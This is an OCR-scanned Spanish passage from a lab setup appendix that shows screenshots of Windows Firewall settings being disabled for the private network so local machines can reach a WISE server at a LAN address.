@v @ » Panel decontrol » Sistema y sequridad » Firewall de Windows

T R e e e e —

Vent incipal del Panel d . . . ®
me:tf:f - Ayude a proteger su equipo con Firewall de Windows

Firewall de Windows ayuda a impedir que hackers o software malintencionade cbtengan accese al equipo a

Permitir un programa o una .
prog traves de Internet o de una red.

caracteristica a traves de
Firewall de Windows :Cémo me ayuda un firewall a proteger mi equipe?

&

@ Activar o desactivar Firewall de
Windows

Cambiar la configuracién de {Qué son las ubicaciones de red?

Actualizar configuracién de firewall

Firewall de Windows no esta usando la ’ ) Usar la configuracion recomendada

@ Reers configuracién recomendada para proteger el
predeterminados equipo.
B Configuracién avanzada ;Cudl es la configuracién recemendada?

Solucién de problemas de red

. '!?3 Redes domeésticas o de trabajo (privadas) Conectado (#)
Redes domésticas o del trabajo en cuyos usuarios y dispositivos confie

Estado de Firewall de Windows: Desactivade

Conexiones entrantes: Bloquear todas las conexiones a los programas que

Figura A3-18 Captura: Panel de control_Sistema y seguridad_Firewall de Windows

Y por ultimo, desactivaremos el firewall de red doméstica o de trabajo (Figura A3-19). De esta
forma, los equipos conectados en la red doméstica podran acceder a nuestro servidor WISE.
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@@ ﬂ« Sistema y seguridad » Firewall de Windows » Personalizar configuracion - |

Buscaren el Pan... P

Personalizar la configuracion de cada tipo de red

I Puede modificar la configuracién del firewall para cada tipe de ubicacion de red que use,

:Jué zon las ubicaciones de red?
—_

Configuracién de ubicacién de red doméstica o del trabajo (privada)
@ () Activar Firewall de Windows
Bloquear tedas las conexiones entrantes, incluidas las de la lista de programas permitidos

Motificarme cuando Firewall de Windows bloguee un nuevo programa

@ @ Desactivar Firewall de Windows (no recomendado)

Configuracién de ubicacién de red pidblica
@ @ Activar Firewall de Windows
[] Bloquear todas las conexienes entrantes, incluidas las de la lista de pregramas permitides

Natificarme cuando Firewall de Windows bloquee un nuevo programa

@ () Desactivar Firewall de Windows (no recomendado)

[ Aceptar ][ Cancelar ]

Figura A3-19 Captura: Sistemay seguridad_Firewall de Windows_Personalizar configuracion

Llegados a este punto ya tenemos configurado nuestro servidor en el laboratorio. Los equipos
conectados en esta red local podran acceder a él a través del navegador introduciendo la IP
192.168.1.79 o con la URL http://cud-tosh./

Se podra acceder al sistema desde los siguientes navegadores:

— Internet Explorer.
— Google Chrome.
— Netscape Navigator.
— Netscape Communicator.
— Mozilla.
— Konqueror.
Asimismo, se acceder desde los sistemas operativos: Windows, Linux y MAC.
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